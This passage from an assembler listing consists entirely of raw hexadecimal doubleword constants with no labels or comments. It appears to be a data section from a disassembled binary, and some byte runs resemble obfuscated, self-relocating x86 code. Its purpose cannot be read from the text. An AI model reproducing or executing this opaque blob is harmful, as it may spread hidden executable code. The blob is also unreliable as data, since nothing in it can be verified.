		dd 66E22CD7h, 6C20AA55h, 0D3195C33h, 24801A1Eh,	20AA8930h
		dd 0F2D2F76Ch, 8B746E9Eh, 0F49AB26h, 0B3462591h, 0ED25BB5Fh
		dd 0ACAE6E29h, 1094D336h, 0B74AC5A6h, 75F1F08Ch, 16AF2AC9h
		dd 97605174h, 0B779F316h, 0EA3904Ch, 85C7C6F4h,	0FE1F5A0Fh
		dd 726CE813h, 88CA48F6h, 4AF4706Dh, 0AEAC2EA9h,	6201AD29h
		dd 0FC3A8631h, 7689FDA5h, 0B6BAB7B1h, 0AB254824h, 0DCF731C5h
		dd 0ACD240BBh, 0D0682E19h, 7FD7E67Ah, 39B76C20h, 0EC5B23E3h
		dd 5ED9440Fh, 5F4174D0h, 0B8C6C20h, 4367AE68h, 203E7A3Ch
		dd 0E2000000h, 0A63438C9h, 2EC238B2h, 8D392468h, 20B6E489h
		dd 0BAE296Ch, 3B6604CDh, 103417Ah, 0DD830000h, 0E0FDF3A3h
		dd 0A81692D0h, 0A9CC9ECBh, 0EF73C3BEh, 19BECF13h, 4AC06A27h
		dd 2719E796h, 239E996Ah, 87037CD8h, 5706AB37h, 0BD39BAF6h
		dd 0F7623B14h, 1BDE5A15h, 0F5413FB9h, 0E9194469h, 6EB93AC3h
		dd 0D14F098Bh, 0BA15EA6Ch, 9CDE6A27h, 22A0BA20h, 0BE9A53A6h
		dd 0C5BD5F3Ch, 9E74F747h, 6A27B5EFh, 9B2BA691h,	0DA5E15C7h
		dd 0B5ED9C40h, 0A0936A27h, 161AD75Dh, 0D2425084h, 332E682Eh
		dd 63E59A8Ah, 0CB4E63FFh, 4E9899Fh, 95219DD8h, 32A05BD6h
		dd 6E2754C4h, 2F2DADA8h, 9E2F33A8h, 0E06A2934h,	0AF4CFA75h
		dd 2BA4B654h, 490A16AFh, 1B3C03CDh, 8B33815Eh, 1E7F5h
		dd 8F054100h, 29AD2A36h, 48CC8494h, 0E86C65F7h,	0E8AC557h
		dd 4C2F2FA9h, 322E9713h, 96823BB3h, 71E354D0h, 6644F977h
		dd 0E037469Ah, 0DC496C2Ah, 47A2DD7Ch, 6B6E8A02h, 25A043F3h
		dd 9CC68090h, 0B15E2622h, 0D166E1A0h, 5538C903h, 785FD18h
		dd 0DB934B7h, 936FF36Eh, 228C0849h, 7405D941h, 0A6A27BCh
		dd 6C6EF40Fh, 70682EC2h, 86C71585h, 0DF3BEB0Eh,	6C20B6AAh
		dd 3482067Dh, 0AD1995D6h, 8F30431Ah, 13CDE077h,	7A3B65D2h
		dd 0AC93h, 0A3DD7100h, 138E0A44h, 0ED8ADFA3h, 531A6B8Dh
		dd 2AC28AFh, 8113E661h,	18FC4AC6h, 6A27D187h, 2196124Ch
		dd 8B3BB133h, 0FA60E49Dh, 2EB93C66h, 50E55068h,	81191BD4h
		dd 2728C65Dh, 29B1AC6Eh, 8334B033h, 0F1776DEFh,	83D1920Eh
		dd 1D06B05Ch, 3F4E9278h, 416A29F2h, 3AB95BD6h, 5411C3BEh
		dd 37815DE1h, 0EEF987h,	0C480000h, 0B62D2F90h, 0CB8F8D32h
		dd 756CEC51h, 93CC4CF1h, 3636AE17h, 199E1A55h, 7DC2BA3Bh
		dd 0DA63D99Fh, 3F807C7Eh, 3E4F936Fh, 406C2AE1h,	0B9A345C7h
		dd 2AA2233Eh, 995CDF9Ch, 7FC0BC3Fh, 0D065E39Dh,	25A3DD00h
		dd 4339BB99h, 0EE9F43DFh, 906A27BCh, 1A0F5873h,	0A31EEA6Ch
		dd 0D0A1A758h, 0C30ACE4Ch, 0BD6825B6h, 9620A423h, 6EEC5AD5h
		dd 0B34FF06Ch, 0AE2AA9h, 423C9863h, 76E478C6h, 5818F470h
		dd 6E9152DCh, 82E28DF4h, 0DF9265F8h, 7CC1BF39h,	0F466E29Ch
		dd 5CEA6266h, 0A8AA649Fh, 2F2DAD29h, 971752A9h,	7DC94427h
		dd 0FDCB7BFEh, 2C5D811Dh, 52104D0Ch, 0F2851CE7h, 0A436B22Ch
		dd 0B2A635B6h, 104D0C0Bh, 0BF0F8A75h, 1404393Ch, 9E7CDE5Ah
		dd 10D363DBh, 85D21EDh,	0FEF45701h, 7A2FCC7Ah, 0B9BC158Eh
		dd 3A3h, 0D68AF900h, 9B2BA1DDh,	0F5413FB9h, 6BDB5117h
		dd 0C670ECE9h, 3F8F0B44h, 9826A2DDh, 0FBF3FBAh,	67D7550Dh
		dd 0DC6AEEE5h, 0E6895668h, 4C681h, 0EE810000h, 4, 5C243487h
		dd 81242489h, 42404h, 2F680000h, 89000020h, 89572404h
		dd 4C781E7h, 83000000h,	3C8704EFh, 3C895C24h, 5C196824h
		dd 3C890000h, 375CBF24h, 0ABB80F04h, 31090964h,	8B545FF8h
		dd 0C481243Ch, 4, 8904EC83h, 478F2404h,	2434FF08h, 4C4815Fh
		dd 0FF000000h, 83582434h, 0CE904C4h, 0D0FFFAE5h, 6DD4B708h
		dd 9187C9F8h, 5EA8B87Fh, 0C503060Dh, 0CD6FE0FFh, 74520024h
		dd 27C857ADh, 82130AF1h, 47D54211h, 0DD455019h,	0C72F5167h
		dd 89EF48F3h, 59FF7A50h, 0AF793506h, 0EAEE4B1Ah, 8ECD1D5Eh
		dd 0DF5F695Dh, 8375403Eh, 13E862D9h, 0E6000000h, 96D91067h
		dd 0BF9AA8CFh, 25067702h, 0F4F80246h, 575826D0h, 815EA6B7h
		dd 6294C0h, 304CB900h, 0E9816222h, 622217CEh, 388BD98Bh
		dd 0E70AEF81h, 4EBE24B9h, 8118D8BDh, 59582EFh, 0C781F814h
		dd 16429DE2h, 8E857h, 0D2E60000h, 0AE6964A7h, 5EF54A26h
		dd 8B66008Fh, 4E883F2h,	1E981h,	850F0000h, 12h,	30E9FD8Ah
		dd 7F000000h, 147FCBD9h, 97F7C220h, 13E933D9h, 3C000000h
		dd 9AEE1CA1h, 6222C785h, 99B38AD6h, 900C0A8Eh, 93E9DBE7h
		dd 96FFFFFFh, 0A0CAA421h, 0EB4E81AAh, 8, 0F1AD8700h, 48AE95Bh
		dd 33680000h, 0E9060D61h, 0FFFA1D52h, 0D61A868h, 1D48E906h
		dd 0CC68FFFAh, 0E9060D62h, 0FFFA1D3Eh, 8AD2B699h, 0C32B7D57h
		dd 10782E0Eh, 0A8B0E4FDh, 0E40C58B5h, 0A98A1955h, 1B7E93FBh
		dd 0D6302D35h, 8DE57880h, 44E0BFC7h, 0AB43FBh, 19930303h
		dd 251341A2h, 0C5DD5EB4h, 0FC7F999Fh, 50DCB3Ah,	0DA024A7Ah
		dd 270118B2h, 0D15518B7h, 1C44C0FBh, 0D380C64Ch, 0AE8A6739h
		dd 2CB28F8h, 0C40F34F7h, 87470D65h, 0F26DEBDBh,	30AF448h
		dd 0A1A80C00h, 0B5E1A9E2h, 2B3A9h, 4E5AF00h, 0C9FD7B2Dh
		dd 0C3FCF19h, 6AC79DC6h, 96DE580Eh, 92D32CF6h, 620F34EFh
		dd 0F8373594h, 0B5FD0076h, 398A9A0h, 200E7E91h,	0A577C592h
		dd 33657FFDh, 895981C5h, 7A104583h, 892D0EA0h, 0C9FE6F37h
		dd 29CA29F9h, 99F45635h, 0C731677Ch, 0F6CA818Fh, 273D28B3h
		dd 42DF79FFh, 8EC63066h, 451E74DEh, 0F239AC8Fh,	555DF251h
		dd 1E44A2BFh, 553B1BF6h, 0BDBD17FCh, 0CEAFA50Dh, 2C2h
		dd 82EABE91h, 0DB23754Fh, 68702606h, 0A0C89CF5h, 0FC0450ADh
		dd 0A182215Dh, 1376EBF3h, 0CE28254Dh, 859D7098h, 7C18B7DFh
		dd 0AA3B83h, 11EB7B03h,	6C267F95h, 3EAB1F93h, 85E27F0Fh
		dd 38467519h, 8302EFFh,	87700AC0h, 3009F3Fh, 0CD97377Fh
		dd 8F45136Ch, 7EFC87A1h, 60203F33h, 0CC98F568h,	86AD14Ah
		dd 5FB70300h, 0DAC51009h, 0CD430F2Dh, 24DB0h, 65230A00h
		dd 0BEE0C01Dh, 0B5DBB56h, 43096EE3h, 9FC5263Bh,	37ACA677h
		dd 0EB668EDAh, 5DB0D888h, 16CB1341h, 8D026A30h,	0AAB608EBh
		dd 6EF60300h, 267F9594h, 0AB1F936Ch, 377F0F3Eh,	0ABEC4EC1h
		dd 0A0A40300h, 0C77EC54Ch, 7105B5E7h, 0C3000001h, 181E44A2h
		dd 0EBF359B9h, 0B8520341h, 349802BFh, 8472420Fh, 0AFAB70Bh
		dd 119BFF03h, 0E198490Eh, 5EB495B5h, 0A690C4DDh, 66B0A6EEh
		dd 0AE22195h, 29516103h, 2CE679h, 95620000h, 936C267Fh
		dd 0F34C1DAh, 930C0A3Ah, 30AC12Fh, 0B6896367h, 0B3E0DE48h
		dd 160B6634h, 2AA06036h, 0B5E1ED6Dh, 0B334h, 44A23000h
		dd 5CB9181Eh, 0B3930E08h, 88EE6BEDh, 0F2A83A17h, 0F268762h
		dd 0B5DD054Dh, 0D6A9646h, 652B0B05h, 237152AFh,	1A4CA435h
		dd 6020681Ch, 0A84C268h, 98327A28h, 61C175C6h, 87E0050Dh
		dd 75151DD1h, 0B20D4CAFh, 7F10F32h, 4245EFACh, 2FE52DF2h
		dd 0E9A3F1D2h, 5CB83310h, 1054C20Ah, 0E8C51870h, 682A5BCh
		dd 2C220317h, 12951h, 41076E00h, 9ACC2439h, 0D7819F72h
		dd 2F75528Fh, 7B290AC7h, 1B88C213h, 0CF026A3Eh,	815CA4F4h
		dd 7A97FFA5h, 712E361Ch, 0A9D264D7h, 2920300h, 0F043E5A8h
		dd 50DCB4Eh, 9B66260Eh,	4F82EABEh, 63D92177h, 181E44A2h
		dd 63DB24FEh, 42050DCBh, 8EC63066h, 3F02C2F2h, 0C3697127h
		dd 393AD085h, 0F34BDD5h, 1BA9875h, 0CCF87E22h, 7FD29284h
		dd 85C13761h, 49AA875Dh, 0BA00F31Bh, 9B030A86h,	41F947BBh
		dd 649E3477h, 4110A695h, 6050030Ah, 203DD038h, 8FEB8274h
		dd 11000000h, 792F04E5h, 7C5AB7FFh, 0B6DC7616h,	0BC9D37EDh
		dd 4202F4A2h, 0AB2DA182h, 654D0F3Eh, 0FDB21F3h,	0E03282CFh
		dd 92F04D1Dh, 0D93B16CCh, 0E5BFD777h, 51AF2C04h, 2D551107h
		dd 56AB7B2Bh, 0B32C2A70h, 0E10CA450h, 37C72DA9h, 16405CDFh
		dd 663C6420h, 29F9AF8Bh, 80D62C21h, 96F164CAh, 93584294h
		dd 0FC151EA0h, 2E565E5Eh, 3819F87Eh, 284E254h, 8C81D72Fh
		dd 3E76E0B6h, 0E8826A6Eh, 0A1BCC48Ah, 0A6ECCE41h, 3E5F87Eh
		dd 1F000000h, 4BA2FF79h, 58BE1B1Dh, 0B99504F2h,	95EC6DEBh
		dd 0EBC455C3h, 0FDDEBBBDh, 0D330A197h, 2E0E8B8Dh, 163FE78h
		dd 5332D95Fh, 0C381E389h, 4, 4B850h, 0C3290000h, 241C8758h
		dd 0E689565Ch, 4C681h, 0EE810000h, 4, 5C243487h, 68242C89h
		dd 79A9h, 53241C89h, 852301BBh,	833CBD76h, 0ED817C92h
		dd 3AEC1EF4h, 0C581DD29h, 3AEC1EF4h, 4EC815Bh, 89000000h
		dd 4812424h, 424h, 55505B00h, 8438958h,	2434FF58h, 4C4815Bh
		dd 0FF000000h, 815D2434h, 4C4h,	18E0E900h, 0D191FFFAh
		dd 0EE3D7FEAh, 0CFF61C49h, 4299AF88h, 0D641AB8h, 0FFC50306h
		dd 91061BE0h, 0D3C66C1Eh, 0E2D32E15h, 0A3DFDC5Ah, 0BCCA8745h
		dd 21A4CA5Ch, 7476214Eh, 8DEC1035h, 2F5A3366h, 3D9B690Bh
		dd 63479377h, 0E5A8BA3Eh, 151C3B0Eh, 66151F76h,	0E3CDFB69h
		dd 0FD521811h, 8A3FBE5Eh, 0D6BA0901h, 0AEDF6B42h, 7530AA71h
		dd 0A1CD3A36h, 0F6399E11h, 0FA9CCF12h, 0CBE6A008h, 0DF20392Bh
		dd 3104400Fh, 0C054AD04h, 0FBA58517h, 9DB81033h, 733E5710h
		dd 0D9CD1367h, 12E86Ch,	73B70000h, 7FB11B5Fh, 0CEDCA7FAh
		dd 0F6F30A0Fh, 0CDC62914h, 208EDB81h, 665A6AECh, 81B42BB8h
		dd 6EE1C2h, 0D3816000h,	4B6ECDE6h, 59AC681h, 68610374h
		dd 0
		dd 5BBB665Fh, 1734FF83h, 810F5EF9h, 2, 0C681DA8Bh, 1E5D620h
		dd 0E97881B8h, 27EE8172h, 0B57FDFBEh, 0D5F68106h, 8018A09Bh
		dd 8B5600F5h, 3A048FCFh, 7E9h, 5B816100h, 67EB8EE8h, 0BB04EF83h
		dd 75C65A5Ah, 91A8FF81h, 850FFFFFh, 0FFFFFFB1h,	8DC18B66h
		dd 0D668F8Dh, 89DF8B06h, 71B418Dh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 46B6DA88h
		dd 66CA1C5Dh, 0C446F381h, 60585C7h, 752C0607h, 0B50B0000h
		dd 6071155h, 6985C7h, 607h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 858971C3h
		dd 6072B5Dh, 32C9B5FFh,	6A0607h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 8D4E4BC3h, 0BCC31DA6h
		dd 0F53F8B7h, 286h, 0FFD08B00h,	701E195h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 10D8F314h, 0FF006A80h, 7320195h, 0EBC08B06h,	0EE3AC6Fh
		dd 6A1327BEh, 0A728CBAh, 5DDCACF8h, 680D93EAh, 0ED217F1h
		dd 4CFE4C5Fh, 2F98504Fh, 27DC4E38h, 0F6247651h,	0A8F66F47h
		dd 302F40ABh, 0F7AB4DEDh, 8588A506h, 586284CDh,	16EEE0D6h
		dd 0CB0F7570h, 8CB28925h, 2EA72CEAh, 644588E5h,	3423CF17h
		dd 0B679776Bh, 0D7A6275Bh, 0BAE3F8E7h, 0F31ACD6Bh, 0D381A906h
		dd 1FA6DF0Ah, 0BF00F3BCh, 6E8h,	733AD100h, 29996FD0h, 71EF9BDh
		dd 0D8815A06h, 823AFB5h, 5F70C281h, 0B8660000h,	0BB4815h
		dd 0B8000000h, 78F4F76Ch, 331A3C8Bh, 732CDB5h, 32EF8106h
		dd 8B0C6842h, 712D9B5h,	8AC78106h, 89752905h, 71B0DBDh
		dd 0F7F78106h, 89214960h, 0F4801A3Ch, 11E8D9h, 1AD90000h
		dd 0A9A81467h, 1EA16E23h, 0F891F696h, 0FA3069Dh, 8359CAB7h
		dd 0B86603EBh, 0F4B01BEh, 680h,	459D8900h, 81060707h, 0FFA120FBh
		dd 99850FFFh, 89FFFFFFh, 72DB1B5h, 658D8D06h, 6A060D68h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 8997C355h, 7236D95h, 958B6006h, 6071D99h
		dd 0E961F48Ah, 12h, 9AE2A9D9h, 0B523DE81h, 0D4622899h
		dd 4A47EBAEh, 8D8985D3h, 6071B41h, 6810Fh, 858B0000h, 60700D5h
		dd 60585C7h, 59BC0607h,	89500000h, 722FDBDh, 85C75806h
		dd 6070069h, 0
		dd 0FD1B503h, 0B5FF0607h, 6072C11h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 3AC35747h, 957C9132h, 42E87F2Fh
		dd 68F0Fh, 9D090000h, 6073085h,	4918589h, 95FF0607h, 60701E1h
		dd 6AFFB70Fh, 195FF00h,	8B060732h, 0FA09EBC0h, 0AE6FB3Dh
		dd 0F0048D14h, 69808D8Dh, 6A060Dh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 4E9C00C3h, 5E9h, 0A4975C00h
		dd 0BA665370h, 9509DF3Fh, 6073159h, 1B418D89h, 6A0607h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 85C77BC3h, 6070605h,	5C8Ch, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 0C7C35242h,	89F380B4h, 6985C7h
		dd 607h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h,	44810424h
		dd 1A0424h, 53430000h, 6BF776C3h, 6035B2C8h, 16099D89h
		dd 0CE80607h, 0C000000h, 4653BCFFh, 0B9B82E10h,	0B72B6499h
		dd 0B5FF5AFBh, 6072985h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 18h, 4DC35242h, 7DAB23D4h,	17259589h, 0BD8B0607h
		dd 607125Dh, 1E195FFh, 0BA660607h, 6A14F4h, 320195FFh
		dd 0C08B0607h, 404B0AEBh, 1C8CEC0Fh, 0F6500DEBh, 6A3C8D8Dh
		dd 9D89060Dh, 6071809h,	1B418D89h, 12E90607h, 40000000h
		dd 567BABD1h, 8D936AA2h, 0A7332619h, 9266E1FFh,	585C740h
		dd 88060706h, 6A000070h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0EE70C355h,	9DD78166h
		dd 6985C716h, 60700h, 0FC000000h, 2311B5FFh, 9D010607h
		dd 6070A71h, 7E8h, 0A1622F00h, 6287048Ah, 0C15BD89h, 0FF5B0607h
		dd 701E195h, 53006A06h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 8562EBCBh, 6AC78Bh, 320195FFh, 0C08B0607h
		dd 0CFB67AEBh, 0A94B748h, 2317184Ah, 320497BCh,	9DCFB18Bh
		dd 46D67603h, 62431AFDh, 9C23B7EDh, 23D6ADC3h, 542036ADh
		dd 3CE2439Ah, 811804F5h, 0CA8F57ACh, 4E586A39h,	78410BCh
		dd 3BEE3F34h, 698E36A3h, 0A38CC120h, 7115B111h,	8C09B948h
		dd 0E5879DEBh, 0D4E4C2C7h, 6BB16FB8h, 7FF99F72h, 68894B72h
		dd 0FFABF5EDh, 98C2B3C5h, 0C366151h, 85FF6B1Ch,	0E39AF4AAh
		dd 0FF54839Ch, 11E8h, 4B38A200h, 319271DFh, 97D5B567h
		dd 723893A7h, 8D8923BEh, 60718B9h, 9E95Bh, 1E530000h, 23B21610h
		dd 81C68B29h, 6DAAC3h, 0B0DF8100h, 0B9477D3Dh, 0
		dd 0DE9h, 38C6DA00h, 87EA09AFh,	3173D178h, 34FF8AF6h, 3DB58919h
		dd 5E060717h, 0CE8h, 65C5A100h,	0C6EED06Ch, 0AE64D6F4h
		dd 815FFCFBh, 5E4E95EEh, 858B6019h, 6071021h, 0F68161F8h
		dd 27A7F921h, 3135BF66h, 9569EE81h, 0BD8B1463h,	607196Dh
		dd 78D0F56h, 56000000h,	86CA8166h, 48F5F83h, 0C9BD890Bh
		dd 29060716h, 71CF995h,	3E98306h, 2058589h, 0E9490607h
		dd 7, 0C7D1E415h, 8153A88Eh, 0FF9348F9h, 1B850FFFh, 81000000h
		dd 708002CAh, 21E923h, 0E8320000h, 0D59978FFh, 50524743h
		dd 4DA4D2A5h, 0BD0B317Ch, 60721B1h, 0FFFF59E9h,	57E343FFh
		dd 0E80CEA6Ch, 11h, 0B80E75B9h,	31DA9599h, 0F3B093BFh
		dd 4D50CAB4h, 0EE870h, 67440000h, 0A7E0A52Eh, 64FF04C2h
		dd 4857DF41h, 28C0Fh, 5B500000h, 8D0F595Bh, 6, 101D9D31h
		dd 0C1810607h, 6CC1h, 0B0CABB66h, 1B08BAh, 0DBBF0F00h
		dd 8166398Bh, 81275AEBh, 1C7CE0C7h, 0DABF0F2Bh,	0BA63EF81h
		dd 860F4F50h, 0
		dd 6EECF781h, 858B1094h, 6072FFDh, 0BBBE6657h, 0F018FFEh
		dd 0E981F2BFh, 488A9B6Eh, 5E9h,	2FA4000h, 0C1813DA4h, 488A9B6Ah
		dd 0EA83C8B7h, 0AD850F01h, 8BFFFFFFh, 7179D9Dh,	518D8D06h
		dd 8B060D6Dh, 718A195h,	418D8906h, 6A06071Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 7D9AC355h, 892407F4h, 71CE9BDh, 585C706h, 80060706h
		dd 6A000062h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 7F1FC352h, 0F28B3218h,	6985C7h
		dd 607h, 6A0000h, 3E851h, 59200000h, 4C8959C3h,	44810424h
		dd 150424h, 51410000h, 0FF54BEC3h, 71E19B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 0DADAD4BEh, 8B3ABE60h, 8B605F4Fh, 7055995h, 840F06h
		dd 61000000h, 0E195FF61h, 0E9060701h, 10h, 7BFAAB2Ah, 0C10EDCE7h
		dd 24ABDCF2h, 12CFA0D5h, 58C0Fh, 81660000h, 6AAF78C0h
		dd 195FF00h, 8B060732h,	3909EBC0h, 1F562E46h, 0D9F26Ch
		dd 6DE18D8Dh, 8D89060Dh, 6071859h, 1B418D89h, 6A0607h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 7D76C8C3h, 585C738h,	88060706h, 0C7000059h, 7006985h
		dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 0E84C91E2h, 0FF7BBF89h, 722C9B5h
		dd 21953106h, 0FF060716h, 701E195h, 6AF58A06h, 195FF00h
		dd 8B060732h, 0B44DEBC0h, 0EBBE6AEFh, 6FC91037h, 0AA450E38h
		dd 1E6D034h, 1DDA2920h,	0B3B77DEFh, 0CB6A0AB4h,	0E9CCEE76h
		dd 30509B0h, 0AB4FCDDEh, 0A4AA95E9h, 83C78C25h,	0B3DDE4D1h
		dd 66EE305Ah, 31149E11h, 0F7850AD1h, 74B40530h,	699149EDh
		dd 2E687471h, 6EC58D8Dh, 0F081060Dh, 484FBC2h, 0A5D9D8Bh
		dd 8D890607h, 6071B41h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0A2C35141h, 0BC3EC211h, 896314E0h, 7220195h
		dd 880F5106h, 3, 5AFAD780h, 60585C7h, 74440607h, 8D0F0000h
		dd 6, 611850Bh,	85C70607h, 6070069h, 0
		dd 30A1B5FFh, 8BFC0607h, 719ADB5h, 0E195FF06h, 0F060701h
		dd 687h, 51B58900h, 6A060704h, 195FF00h, 8B060732h, 823BEBC0h
		dd 1814D7EDh, 8B1D5EB1h, 47F80B2Ah, 1877D4F1h, 9C53D2BAh
		dd 73A08913h, 0D68B99D6h, 82FB5941h, 96BA1429h,	0C98CA7AAh
		dd 5048C203h, 71CB0BFBh, 8A95C9A6h, 1A2960B0h, 8E8EBD7h
		dd 0F3000000h, 514B3A79h, 89CDB8D2h, 72BE585h, 0CE95F06h
		dd 0B4000000h, 0B09F331Eh, 1BE602Fh, 81A878C8h,	5D59C7h
		dd 13E800h, 0C76F0000h,	2748DF0Ch, 0DD88ED4Dh, 0DE61E9CFh
		dd 33AB2903h, 0D98D2B9Ah, 5A060716h, 8F0FC033h,	6, 1D119D8Bh
		dd 34FF0607h, 0AE57B938h, 515E6C8Ah, 815BDF8Bh,	8DCD2EEEh
		dd 0EBA6652h, 8EEE81C8h, 0B200EE8Dh, 11C68143h,	56153632h
		dd 48FD08Bh, 85896007h,	6073151h, 61D98B66h, 2699BD31h
		dd 0E8830607h, 0D5B96602h, 8B484878h, 78F881D1h, 0FFFFFA3h
		dd 1985h, 59D8900h, 0E906071Ah,	24h, 0CB925BBh,	0A810F0E9h
		dd 0A5EA3775h, 0B9664EA4h, 8BE992E7h, 87FFFFFFh, 0A3A92866h
		dd 0D824101Ch, 0AF8279EBh, 70C68D8Dh, 0BF0F060Dh, 418D89C7h
		dd 6A06071Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0E642C352h, 9CAA3D23h,	0DADCF3D8h
		dd 0ED858B60h, 0B8060731h, 189B078Eh, 0CE961h, 67BA0000h
		dd 8117F674h, 60C0B431h, 85C77319h, 6070605h, 6F04h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0A8C35545h, 9D7A02h
		dd 28A0F39h, 0B2000000h, 6985C735h, 60700h, 8B000000h
		dd 71CF985h, 0A1B5FF06h, 6A060730h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0FF61C355h
		dd 701E195h, 57006A06h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 8341E02Fh, 0D18B666Bh, 95FF006Ah
		dd 6073201h, 3BEBC08Bh,	8F7C2357h, 76D9B019h, 77480FDCh
		dd 3198A22Ch, 0BE0284EDh, 0DE65BF33h, 3A02E83Fh, 4CB7F086h
		dd 0EA74CD6h, 6BADF61Ah, 7758F96Eh, 0F56DEBBCh,	9CA3292Bh
		dd 0EDAF7C43h, 0E85EB6E2h, 14h,	559D016Dh, 0D4BA621Eh
		dd 0CBE2C026h, 4BC1196Eh, 1CE195B6h, 5EFB8B66h,	0EE8h
		dd 5469BA00h, 3130A3DDh, 9168AD35h, 0E8700A7Ah,	0Ch, 4A8BFD11h
		dd 2118A43Fh, 0DA220FD6h, 5E9h,	0E702CF00h, 585F98BDh
		dd 7480C681h, 0BE80000h, 0F7000000h, 1332DC4Bh,	7FB3D0C7h
		dd 9E91E4Ch, 0F9000000h, 0BC9CEE46h, 5662A25Eh,	1CE2BA59h
		dd 0C8810000h, 2EF69363h, 0E96036FFh, 13h, 6B965D70h, 93E10279h
		dd 260626F2h, 54223952h, 61CD429Ch, 5E85Bh, 51D70000h
		dd 50C1F646h, 0FE8h, 4EFAF400h,	7E99030Eh, 49857C21h, 836471F9h
		dd 81595F58h, 9A2290C3h, 1AE98074h, 6D84F381h, 66515983h
		dd 58D652BFh, 0C287F381h, 0BF666149h, 8A53B35Dh, 29068FECh
		dd 700359Dh, 4EE8306h, 0D6EF8166h, 1EA8163h, 0F000000h
		dd 0FFFF8385h, 0B2B952FFh, 5F0678D9h, 9E8h, 1F2C400h, 652C10B4h
		dd 0B529BF6Dh, 6070989h, 6D8D8B5Eh, 81060723h, 65D6C6h
		dd 68F900h, 8B000000h, 8E95BCBh, 86000000h, 0D528520Fh
		dd 8B14978Ch, 0ED801E14h, 6AF28177h, 0E93ECEB2h, 14h, 50F0A907h
		dd 0C7B2933h, 5A4CFBB3h, 622DE9B3h, 0D12F8727h,	7B4CC281h
		dd 0DC802C47h, 9BEA8188h, 0E80FFE06h, 10h, 0FE5A596Eh
		dd 443D2D32h, 8C4AE6BBh, 227D9062h, 5CEAB3B8h, 1489580Fh
		dd 66C8811Eh, 60292F85h, 12E5BD89h, 0BD090607h,	6071F15h
		dd 2EB8361h, 9D294B4Bh,	6071EB5h, 9B00FB81h, 850FFFFFh
		dd 0Fh,	0B7E8B866h, 22E9h, 1D847600h, 8953D569h, 72EDD8Dh
		dd 0FF69E906h, 0FE15FFFFh, 0A06BEF5Bh, 7CBE9585h, 9F0F8918h
		dd 0E83273BCh, 8, 0CBB28E71h, 1B9E2E9Eh, 3005B589h, 815B0607h
		dd 0FBE448C1h, 0FDC3810Fh, 0F000074h, 0FABACEB7h, 8129EE42h
		dd 0EE25E8EAh, 0F7816629h, 338BFB5Bh, 2A698D29h, 0F6810607h
		dd 4AEA40B8h, 17F58529h, 0EE810607h, 1E9F4726h,	81CBB70Fh
		dd 0AA47ACEEh, 0AE90Ch,	0A94A0000h, 7010E83Dh, 0A8D791AFh
		dd 0F9038F56h, 998DEB81h, 16B07FFDh, 9989C381h,	0C7B47FFDh
		dd 0F01EA83h, 1F85h, 59850300h,	0E9060717h, 31h, 5192D1E9h
		dd 0F1723DBBh, 2F04F219h, 2FCDBE74h, 0E09B0A27h, 68E0Fh
		dd 85290000h, 6071A8Dh,	0FFFF81E9h, 0CB5C84FFh,	245BBD10h
		dd 960A9845h, 34AC423Ah, 7C2406A2h, 0B37D7AA2h,	3704973Bh
		dd 0B42A2180h, 30259083h, 3025D66Fh, 9D98A786h,	3023158Eh
		dd 30B48D89h, 8DA68486h, 36225F27h, 0B4A12E86h,	0F6259086h
		dd 37390503h, 34CD6A80h, 70251286h, 608D4B51h, 3401C00Dh
		dd 74AC420Dh, 0CF7D25A2h, 372D3D33h, 0CEA0C580h, 0CF232EFAh
		dd 0F6D59956h, 37394403h, 34CDCA80h, 70254286h,	608D6351h
		dd 3401D40Dh, 74AC480Dh, 0CF7D20A2h, 3738B333h,	0CEA08480h
		dd 0CF238EFAh, 89DDC956h, 30252196h, 3025986Fh,	0B52AEE86h
		dd 30252488h, 3FEC19CFh, 0CFDAF903h, 30286D79h,	0ADA84286h
		dd 36226C32h, 3025953Eh, 0BDC6B786h, 3D56803Bh,	44A89F80h
		dd 882304F2h, 0B615A194h, 0D9E48DADh, 34AC4284h, 7C2406A2h
		dd 0B37D7AA2h, 3704973Bh, 0B42A2180h, 30259083h, 3025D66Fh
		dd 5E98386h, 22B9A4F3h,	0E8000000h, 11h, 0D39A04BFh, 0F16C7455h
		dd 9A0E27F3h, 94A094A5h, 0BD9D897Dh, 5B060707h,	22BDB589h
		dd 0C3810607h, 5F01h, 0FE8h, 416CE400h,	0A5BF7397h, 2245D6E7h
		dd 0EA040FE8h, 0F2816660h, 59614A7Ch, 1791BAh, 0BFF18100h
		dd 8B4C2899h, 81CA8B3Bh, 0A2BE14C7h, 0A0EE8178h, 8126971Eh
		dd 51C93CC7h, 0D1B52B54h, 8106071Ah, 594A27EFh,	2870F67h
